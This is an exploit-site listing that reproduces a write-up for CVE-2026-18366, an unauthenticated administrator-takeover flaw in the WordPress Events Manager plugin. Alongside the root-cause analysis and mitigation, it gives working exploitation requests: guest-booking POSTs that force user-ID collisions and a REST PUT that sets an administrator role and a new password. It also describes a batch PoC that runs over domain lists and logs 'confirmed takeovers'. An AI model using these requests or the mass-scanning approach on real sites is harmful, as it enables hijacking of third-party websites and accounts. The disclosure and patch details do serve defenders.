Sploitus

Exploit for CVE-2026-18366

githubexploit Β· 2026-08-20

Exploit Code

README155 lines
## https://sploitus.com/exploit?id=1CC3B1B2-1609-5665-B623-F0CEA024BFAE
# CVE-2026-18366 β€” Events Manager < 7.4.1: Unauthenticated Privilege Escalation to Administrator

| | |
|---|---|
| **Product** | Events Manager (WordPress plugin) |
| **Affected versions** | 7.1.0 – 7.4.0.x |
| **Fixed version** | 7.4.1 |
| **Weakness** | CWE-269: Improper Privilege Management |
| **Severity** | CVSS 3.1: **9.8 (Critical)** β€” `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` |
| **WPVDB ID** | [82767ce2-01e4-46ad-a52b-72d3ab2049bd](https://wpscan.com/vulnerability/82767ce2-01e4-46ad-a52b-72d3ab2049bd/) |
| **Original researcher** | [Jakub Herman](https://wpscan.com/vulnerability/82767ce2-01e4-46ad-a52b-72d3ab2049bd/) |
| **Write-up & PoC** | ghostpel |

## Disclosure timeline

- **2026-08-03** β€” Events Manager 7.4.1 released with the fix (vendor security release).
- **2026-08-12** β€” [IONIX Threat Center](https://www.ionix.io/threat-center/cve-2026-18366/) entry published.
- **2026-08-21** β€” This write-up and proof-of-concept (`poc.py`).

## Summary

Events Manager versions 7.1.0 through 7.4.0.x contain a privilege escalation vulnerability that allows a **completely unauthenticated attacker** to take over any user account whose ID collides with the ID of one of the plugin's own posts (event / location / event-recurring / location-recurring). The collision can be **forced** on sites with guest bookings enabled (the default): every guest booking creates a real user account and advances the `wp_users` auto-increment counter by one, letting an attacker "walk" the user ID space onto an event/location post ID.

The root cause: the plugin's `map_meta_cap` filter **discards the capability list WordPress already computed** (`$caps = []`) for *any* meta capability, whenever the capability's object ID happens to resolve to an event/location post β€” including WordPress core capabilities such as `edit_user`, `delete_user`, `promote_user`, and `remove_user`. An empty capability list reads as "no capability required" β€” i.e. **allow for everyone, including logged-out users**.

Consequences (all unauthenticated, via the WP REST API): change any colliding account's password, escalate it to `administrator`, or delete it.

Version analyzed: **7.4.0.1** (vulnerable) β€” diffed against **7.4.1** (fixed).

## Affected versions

| Version | Status |
|---|---|
| ≀ 7.0.5 | Not affected (legacy `em_map_meta_cap` only handles EM's own capabilities) |
| **7.1.0 – 7.4.0.x** | **Vulnerable** (the archetype system with the buggy `map_meta_cap` was introduced in 7.1.0) |
| 7.4.1 | Fixed |

## Root cause β€” `map_meta_cap` empties `$caps`

`classes/em-archetypes.php` (version 7.4.0.1):

| Line | Code | Role |
|---|---|---|
| `:33` | `add_filter( 'map_meta_cap', [ static::class, 'map_meta_cap'], 10, 4 );` | Global, unconditional filter β€” runs for **every** WordPress meta-capability check, including core's and those for logged-out users |
| `:547` | `if ( !empty( $args[0] ) ) {` | The capability's object is taken as a **post ID** |
| `:548` | `$post = get_post($args[0]);` | **ID collision:** the target *user* ID (for caps like `edit_user`) is treated as a *post* ID |
| `:551` | `if( empty($post->post_type) || !(self::is_event(...) || self::is_location(...)) ) return $caps;` | Only fires when the ID belongs to an event/location post (incl. the `event-recurring` / `location-recurring` CPTs) |
| `:563` | `if ( !empty( $c['read'][$post->post_type] ) || !empty( $c['edit'][...] ) || !empty( $c['delete'][...] ) ) {` | Always true for event/location posts |
| `:564–565` | `$caps = [];` | **The capability list is discarded unconditionally** β€” even though the requested cap is not a `read/edit/delete_event` archetype cap |
| `:568/577/584` | `if/elseif` branches | `$caps` is only refilled when `$cap` exactly matches an archetype meta cap; for `edit_user`, `delete_user`, `promote_user`, `remove_user` **no branch matches** β†’ `$caps` stays empty |
| `:597` | `return $caps;` | Empty array = "no capability required" = **ALLOW for anyone**, including user ID 0 |

**Consequence:** every `current_user_can('edit_user', X)` / `delete_user` / `promote_user` / `remove_user` check returns **TRUE** whenever `X` equals the ID of an event/location post. The plugin "discards the access control decisions WordPress had already made" β€” exactly as described by WPScan.

### The fix in 7.4.1

Verified by diffing 7.4.0.1 against 7.4.1: the reset is now guarded by an exact capability match per branch (e.g. `&& $c['read'][$post->post_type] == $cap`), so `$caps` is only emptied when the requested capability really is an archetype meta cap. Patch comment: *"Resetting on any object-carrying cap emptied the requirement list for unrelated caps (e.g. edit_user, promote_user), which reads as allow."*

## Impact β€” exposed WordPress core admin operations (no login, via REST API)

The REST Users endpoints (`/wp-json/wp/v2/users/{id}`) have no global login gate β€” access control is purely via permission callbacks, all of which flow through the same `map_meta_cap` filter:

| Action | Endpoint / core function | Bypassed capability |
|---|---|---|
| **Change the target account's password** | `PUT /wp-json/wp/v2/users/{id}` with `{"password":"..."}` β†’ `wp_update_user()` (internal `edit_user` check) | `edit_user` |
| **Escalate the account to Administrator** | `PUT /wp-json/wp/v2/users/{id}` with `{"roles":["administrator"]}` | `promote_user` |
| **Delete an account** | `DELETE /wp-json/wp/v2/users/{id}?reassign=...` β†’ `wp_delete_user()` (internal `delete_user` check) | `delete_user` |
| (Multisite) remove a user from the blog | `remove_user` | `remove_user` |

Side effect: `edit_comment` is also affected when a **comment ID** happens to equal an event/location post ID (the `wp_comments` table shares the numeric space).

## Forcing the ID collision via guest booking (entry point)

The collision exists because `wp_users.ID` and `wp_posts.ID` are independent auto-increment sequences that inevitably overlap. Guest bookings force it:

- **`em-install.php:896`** β€” `dbem_bookings_anonymous = 1`: guest bookings **enabled by default**; `:871` `dbem_bookings_registration_disable = 0` (registration enabled).
- **`em-actions.php:340-344`** β€” `booking_add` is in `$booking_nopriv_actions` β†’ callable **without login** (via `wp_ajax_nopriv_booking_add`, priority 999999, lines `:817-830`, or `wp_loaded` `:11`).
- **`em-actions.php:360-375`** β€” `booking_add` flow: `em_verify_nonce('booking_add')` β†’ `get_post()` β†’ `validate()` β†’ `em_booking_add_registration()` β†’ `$EM_Bookings->add()`. (The nonce is CSRF protection only β€” the `booking_add` nonce is rendered on the public booking form, so anyone can obtain it.)
- **`em-functions.php:405-417`** β€” guest branch: `em_register_new_user($user_data)` with the attacker's email.
- **`em-functions.php:510`** β€” `wp_insert_user($user_data)` β†’ **`wp_users` auto-increment advances by 1 per guest booking** β†’ the attacker controls the growth rate of the user ID counter until it lands on the desired event/location post ID (WPScan: *"each guest booking creates a real user account and advances the user ID counter by one"*).

Secondary chain observed during the audit (booking attribution via `person_id`) β€” `events-manager.php:430-437` (`em_load_event`, `$EM_Person` from `$_REQUEST['person_id']` without login), `em-booking.php:1060-1072` (`get_person()` overrides the `person_id` of a new booking), `em-booking.php:2004-2006` (`can_manage()` = TRUE for a booking without ID), `em-functions.php:448-449` β€” **unchanged in 7.4.1**; it is a separate vector (booking mis-attribution), not the core of this CVE.

## Exploitation (unauthenticated)

1. **Determine the target ID.** Enumerate public event/location post IDs (permalinks, feeds, `/wp-json/wp/v2/event`, or sequential-ID brute force). Say the target is `N`.
2. **(Optional β€” forcing the collision)** Send repeated guest bookings so the next account gets ID `N`:
   ```
   POST /wp-admin/admin-ajax.php?action=booking_add
     event_id=&em_tickets[][spaces]=1
     &user_email=attacker%40mail.com&user_name=Attacker
     &_wpnonce=
   ```
   Each POST β†’ one new account; the account with ID `N` belongs to the attacker (password emailed to the attacker's address).
3. **Escalate to Administrator + change the password:**
   ```
   PUT /wp-json/wp/v2/users/N
   Content-Type: application/json
   {"password":"Pwned123!","roles":["administrator"]}
   ```
   The `edit_user` + `promote_user` permission callbacks pass because `get_post(N)` resolves to an event/location post β†’ `$caps = []`.
   (If an **existing account** β€” e.g. an old admin β€” already has ID `N` colliding with an event post ID, step 2 is unnecessary; the attacker directly takes over that account.)
4. **Delete other accounts** whose IDs collide (e.g. another admin):
   ```
   DELETE /wp-json/wp/v2/users/M?reassign=N
   ```
5. Log in as administrator β†’ full site compromise.

## Requirements

- Events Manager 7.1 – 7.4.0.x installed and active (the `event`/`location` CPTs registered).
- At least one event/location post (its ID is the collision key).
- Guest bookings enabled (default) β€” only needed to **force** the collision; sites that happen to have an account whose ID equals an event/location post ID are directly attackable via REST.

## Proof of Concept β€” `poc.py`

`poc.py` is an asynchronous (asyncio + aiohttp) batch PoC that, per target: fingerprints the EM version (gated to the vulnerable range `[7.1, 7.4.1)`), discovers EM post IDs reachable from outside (WP sitemap β†’ `/locations/`, optionally a booking-form crawl), probes the discovered IDs for an existing user account (the collision condition), and escalates the ones that collide β€” via the REST channel, or the wp-admin channel when a session is supplied and REST is blocked. No blind user-range sweep, no guest bookings, no account creation.

The runner multiplexes all I/O on a single event loop (near 0% CPU when I/O-bound; `-t` caps concurrency instead of cores), scans only bounded 64 KiB head chunks on the loop, offloads heavy parses (sitemap XML, crawl-page bundle, profile form) to worker threads via `asyncio.to_thread`, and enforces the politeness delay on every page attempt. The forcing logic itself is unchanged (same gates, same oracles, same verification).

```
py -3 poc.py -l domains.txt                     # batch (defaults: hasil.txt + id-post.txt)
py -3 poc.py -l domains.txt -t 50 -v
py -3 poc.py https://target.example -v          # single domain
py -3 poc.py -l domains.txt --crawl             # add booking-page crawl discovery
py -3 poc.py -l domains.txt --wp-login sub --wp-password 'Pass1!' \
    --wp-session 'wordpress_logged_in_abc=...'  # wp-admin fallback channel
```

Requirements: Python 3.9+, `pip install aiohttp`.

Results are streamed to `hasil.txt` (confirmed takeovers) and `id-post.txt` (every vulnerable domain where EM post IDs were discovered, with `collision=yes/no/unknown`).

**Note:** this PoC was independently reconstructed from static analysis of the 7.4.0.1 source and the 7.4.1 patch diff β€” it is *not* the WPScan PoC.

> **AUTHORIZED SECURITY TESTING ONLY.** Run exclusively against systems you own or have explicit written permission to test. The PoC performs plain HTTP requests β€” no evasion; it may be visible in logs/IDS.

## Mitigation

- **Update to Events Manager 7.4.1 or later.**
- Interim: disable guest bookings (`dbem_bookings_anonymous`), restrict the users REST endpoints at the WAF level, and monitor for password changes, role escalations, and account deletions.

## Credits

- Vulnerability discovery: **Jakub Herman** (credited by WPScan)
- Write-up and PoC: **ghostpel**

## References

- WPScan: https://wpscan.com/vulnerability/82767ce2-01e4-46ad-a52b-72d3ab2049bd/
- IONIX Threat Center: https://www.ionix.io/threat-center/cve-2026-18366/
- VulDB: https://vuldb.com/cve/CVE-2026-18366
- OpenCVE: https://app.opencve.io/cve/CVE-2026-18366
- Stack.watch: https://stack.watch/vuln/CVE-2026-18366/